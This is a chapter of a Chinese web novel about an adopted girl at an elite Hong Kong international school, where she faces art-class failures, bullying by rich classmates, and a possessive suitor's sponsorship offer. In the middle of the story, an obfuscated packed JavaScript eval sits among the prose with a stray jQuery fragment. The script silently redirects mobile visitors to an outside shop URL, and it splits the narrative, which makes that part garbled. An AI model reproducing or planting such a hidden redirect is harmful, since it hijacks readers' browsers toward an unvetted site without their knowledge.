美院的教室建在楼顶,高耸塔楼,窗式繁复,景观在这座国际学校独具一格。
老师长得仙风道骨,神态飘飘,他的胡子和头发粘在一起,走路摇摇晃晃的,挨个点评学生们的作业。
“你画的什么?”
“老师我画的是写意。”
“你写个蛋,重画。”
“叶子文你画的呢?”
“老师我没画。”
“没画的你给我上后面站着去。”
“好嘞。”
老师来到角落这边,盯着梁婉的画,表情古怪。
他问她在做什么,她说在写意。
“你说这是写意?你画的小条条是什么?”
“代表风吹过。”
“这里呢?”
“是人。”
老师看着那潦草的几点笔触组成的人群,沉默了一会儿,他试图理解自己的学生。
“那这里画的又是什么呢?”
“这是森林,后面有草原和花。”梁婉认真讲解着,“这是河狸修的水坝,它们自己建的工程,几百米长,很坚固,从太空都可以看到。”
梁婉最后指了指背景里的一点白色,说这是她画的山茶花。
“哦,这是花啊,花画的倒是还不错,我们这幅画想要表达什么主题呢?老师怎么看不出来呢?”
梁婉若有所思,摇摇头:“我也不知道。”她只是把心里的感觉画出来。
老师胡子要气飞了:“你自己画的你不知道?”
梁婉很老实:“可是我不能骗老师吧。”
“哎呀你这孩子啊,老师这个头疼啊,零分!重画!”老师抓着大把大把的头发,“你再这样画下去你毕不了业知道吗?”
这孩子怎么就喜欢搞抽象呢。
“还有你,你还笑她,你这火山喷的是火吗?怎么像是色拉油,调的色这对吗?”
最后老师摇着头绕了一圈,终于眼前一亮。
“看看你们周挽学弟的这幅画,优秀,非常优秀。”他大力赞扬。
同学们都望了过去,角落里少年穿着白衬衫,个子挺拔,长得很干净,他的画被老师高高举着。
“看到这个画的石榴了吗?虽然他没有画出很多石榴,但有没有感觉到有很多茂盛的小石榴?”老师夸张地用手指舞动着,试图让学生们感受到。
“那是石榴吗?”有几个声音不服气。
“写意你们懂不懂啊,表面看不到,但实际有很多,这才是写意。”
“人类总是好奇被挡住的东西,看看这些鲜艳的点与灵动的线,你们不能把它全画出来,要藏。”
老师为大家讲解作为画家必需的概括能力,要流水拆画,起落流畅。
同学们伸长了脖子听,似懂非懂。
“明白了吗?”
“不明白。”
看得出来老师非常沮丧。
他叹口气,对学生们降低要求:“先毕业,先毕业再说吧。”
他敲黑板:“孩子们啊,我们不能再搞抽象了,先从静物画起吧,来,我们学习画草莓,大家好好听,下周上课前把作业交给我。”
-
下课了,学生们聚集起来。
“时装周要开了,该去巴黎试当季的高定礼服了。”
“你不说我都忘了,我还要挑几个新款包包。”
“周末去不去棕榈岛玩?”
“不了吧,好无聊的地方,还是南法漂亮,要是怀斯黛尔家举办赞助活动就好了,她家里在那里有几座小岛呢。”
他们都看向人群中央,女孩拥有很强壮漂亮的身体,因为常年度假皮肤晒成蜜的颜色,她披着金色波浪的长发,尖尖指甲上镶嵌满了粉色钻石,眉眼上挑,脸上带着不耐烦。
那是在女生群体中具备统治力的怀斯黛尔。
“怀斯黛尔你没有去看巴黎的秀吗?我妈妈帮我订了好几套高定礼服呢。”
怀斯黛尔声音轻蔑:“有什么好看的,都看腻了。”
怀斯黛尔的父亲是顶级时装品牌的创始人,她是在奢侈品窝里长大的,对华服珠宝司空见惯。
学生们又开始旺盛聊天,这是港岛最顶尖的国际学校,班里的同学非富即贵,他们都是一些出生起就有信托基金的继承人,天生无忧无虑,富贵闲散,学习自然也不用功。
“老头儿让我们画草莓,草莓有什么好画的?”
“不知道,他说的那些写意也听不懂。”
“怕什么,反正有人给我们垫底呢。”
几个男生抬着脖子像鹤一样围到梁婉桌前,他们都精致笔挺,身上留有淡香,手指细白长。
这群富家公子微微弯下腰望着她:“梁婉你这次又是零分吗?”
梁婉点点头。
“你可能需要点艺术熏陶,我在希腊办了画展,你去不去看?”
梁婉摇头:“我要画画。”
“你画了又不得分,画来做什么呢。”他们都忍不住偷偷看她的脸,她长得可真好看,只是可惜是收养来的,地位低,将来也分不到财产。
怀斯黛尔这时经过,男生们纷纷给她让路,她随口问他们知不知道绿岛隐世要开业的消息。
“不知道呀,那是宁家的酒店产业吧。”不过他们说等开业了可以赞助大家去那里写生。
平日里美术班的活动都是这些富家子弟赞助的,有钱人之间总是喜欢攀比,在赞助这方面更是精益求精。
他们转头对梁婉开玩笑:“梁婉,该轮到你出赞助费了吧?什么时候赞助个外出写生呀?”
怀斯戴尔横了他们一眼:“她又不可能出得起赞助。”
男生们被凶得噤了声,也觉得这样说话不好,都摸了摸鼻子散开了。
怀斯黛尔一把拿过梁婉的画,劈头盖脸问她:“回回都是零分,你连混分都不会吗?就按照课本上的模版,先画着,不然怎么能毕业。”
“你毕不了业就没人买你的画,你又办不起画展,想当梵高被活活饿死啊?”
她脾气不好,说话也不好听,班里同学都听到了。
叶子文这时出来冒头:“哎呀大小姐,艺术的创作总是需要时间嘛,这个是需要悟的。”
怀斯黛尔哼了声,对他也不客气:“是啊,你都悟了几年级了,你也毕不了业,你们两个都是废物,喂,梁婉——”
叶子文十分惊恐地瞪着教室里的摄像头,很想求她不要再说了,他胡乱编扯家里刚收了一颗一百克拉的粉钻,想请人去鉴赏一番,拉着这位大小姐赶紧走了。
周围安静了下来,梁婉看着自己的画,上面标了大大的零分。
她把头扭向一边,身旁坐着沉默寡言的周挽,周挽比班里同学都小,是跳级上来的社会福利生,他成绩优异,每年都拿奖学金。
他在认真修改自己的写意石榴图,梁婉看着上面的黑色点点,说他画的真好。
周挽问她:“你能看到上面的石榴吗?”
梁婉摇头:“我看不到,我感受的。”
“你的画也是感受的?”
梁婉点点头。
他们的聊天被打断了。
“喂,优等生,去把垃圾扫了。”
周挽放下画笔,默默站起身,梁婉也跟着一起,班里的卫生打扫平日里都是他们两个做。
周挽是周家的私生子,这是一个庞然大族,特首是他爷爷的门徒,与港岛几大家族交好,但周家虽大,却不认他,因此周挽总是受到排挤。
梁婉座位跟他挨着,两人都在教室边缘位置,偶尔会说话,他们一个私生子,一个养女,处在这座贵族学校鄙视链最底层,日常除了出不起活动赞助费被歧视之外,还要自觉承担各种劳务。
同学们都很诧异,叶子文今天格外勤劳,主动接过了梁婉手中的活,跟那个私生子一起扫地拖地,十分任劳任怨。
“叶子文你家是破产了吗?”
“没有啊。”
同学们还是很不放心:“你要是真破产了就别和我们玩了,我们家里不让。”
叶子文舞着拖把冲他们扑过去。
周挽一个人默默清理地面,地上的颜料很不好祛除,他蹲下身用抹布反复擦拭,他的腰身纤细,手臂细长,长长的睫毛半垂着,身上有种阴郁的气息。
“喂,我耳环掉了,你没看到吗?”打扫到怀斯黛尔脚下时,她不悦地发起牢骚。
“看到了。”周挽说。
“那就捡起来啊。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788773|210283||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他弯下腰,把闪闪发光的钻石耳环捡起来,怀斯代尔哼了声,看都不看就走了。
几个女生跟在她身后接话:“这群社会福利生,占着资源就罢了,看着真碍眼。”
“瞧他那副寒酸样子。”怀斯黛尔嫌恶道。
周挽把她的耳环握在手里,指骨捏得发白。
-
下午放学后梁婉一个人待在教室里,老师罚她重新画草莓,她眉头紧锁,感觉那样的草莓画不出来。
背后传来少年清朗的咳嗽声。
“纪寻?”梁婉疑惑地回过头。
纪寻微微歪着头,趴在椅子上,眉眼修长清澈。
“你什么时候来的?”
“没一会儿吧,你太笨了,没发现我。”
实际上他在校门外等了梁婉整整一天,给她发消息她也不回,于是便来教室找她了。
他进来时美术室已经空了,太阳在轻盈地坠落,天空垂下半边金光,梁婉独自坐在窗前,长发披肩,薄肩细腰。她在画板上细细地涂抹颜料,光瀑流泻,她的头发垂下来,像瀑布一样,落到明亮的指甲上。
纪寻托着下巴欣赏她皱着眉画画的样子,很安静,梁婉一直没有发现他。
“去吃饭吗?我订了位子。”他等了这么久,肚子明显饿了。
梁婉说不饿,而且她的画还没画好。
“那我等你画完。”纪寻骑在椅子上,晃了晃发出点噪音,问她梵高是谁。
梁婉给他解释那是一名后印象派画家,梵高生平坎坷,生前只卖出了一副画作,他因精神崩溃割下了自己的一只耳朵,然后在三十七岁饮弹自尽。
“所以怀斯黛尔那样说你是什么意思?”
梁婉笔尖一顿,没想到他知道今天的事,她想起他是能看到教室监控的。
她跟他解释怀斯黛尔没有恶意,她只是脾气一直很差劲而已,但是是个内心善良的好女孩。
“是吗?她的绯闻在圈里满天飞,一天换八个男朋友。”纪寻看起来对此嗤之以鼻。
梁婉想不明白为什么一天换八个女朋友的纪寻会这样讨厌一天换八个男朋友的怀斯黛尔,他们之间也没有业务冲突。
可能是王不见王吧。
纪寻见她不理自己了,自己又晃了会儿椅子,忍不住问:“梁婉,上课好吗?”
“嗯,挺好的啊。”
“是吗?哪里好?”
“就大家可以一起学习,可以讨论,还可以交到志同道合的朋友。”梁婉一边画一边回答,她发现纪寻的眼睛开始亮晶晶放光,不由停下笔问他,“你跟我一起来学校上课吗?”
纪寻立刻反应强烈:“鬼才去那种地方,无聊透顶。”
可梁婉看他似乎很想去的样子。
其实纪寻是可以随时来上课的,纪夫人给他报的专业是小机器人和电子芯片,同时还在隔壁体育部打网球,当然橄榄球棍网球那些运动他也会,只要好斗的他都乐意玩。
但是他从没有来上过课,甚至之前都没有踏进过校园半步。
学校的话题让纪寻烦躁起来,他一烦就找梁婉的麻烦,指点她的画,说她画的草莓鬼鬼祟祟,像小偷。
梁婉咬起唇,如临大敌:“哪里像小偷?”
“你看看谁家的好草莓长这样啊?你这画的鬼鬼祟祟的,跟毕加索学的吧。”纪寻发表意见之余,还不忘歹毒讥讽一下自己最讨厌的毕加索。
梁婉的防线不堪一击,被他一通指点后脆弱地把画抱走了,不想再让自己的草莓听那些话。
纪寻心满意足,嘴角微扬,背起她的画板和道具,拉着她的手一起去榕园吃晚餐。
在路上梁婉发现他一直在笑,她问他在笑什么。
“笑你啊,小姑娘。”纪寻扬起下巴,笑容恶劣,又娇又帅。
梁婉有点恼了。
纪寻用肩膀轻轻拱了她一下,说他不笑了。
他用了很正式的口吻:“我要赞助你们班去绿岛隐世写生,以梁婉小姐的名义。”
“当然了,我也要去。”
他把眼球转过来,目光阴森森的,精光闪烁,像是趴在她身上吸血。
“梁婉,你例假快结束了吧,我们住一个房间好不好?”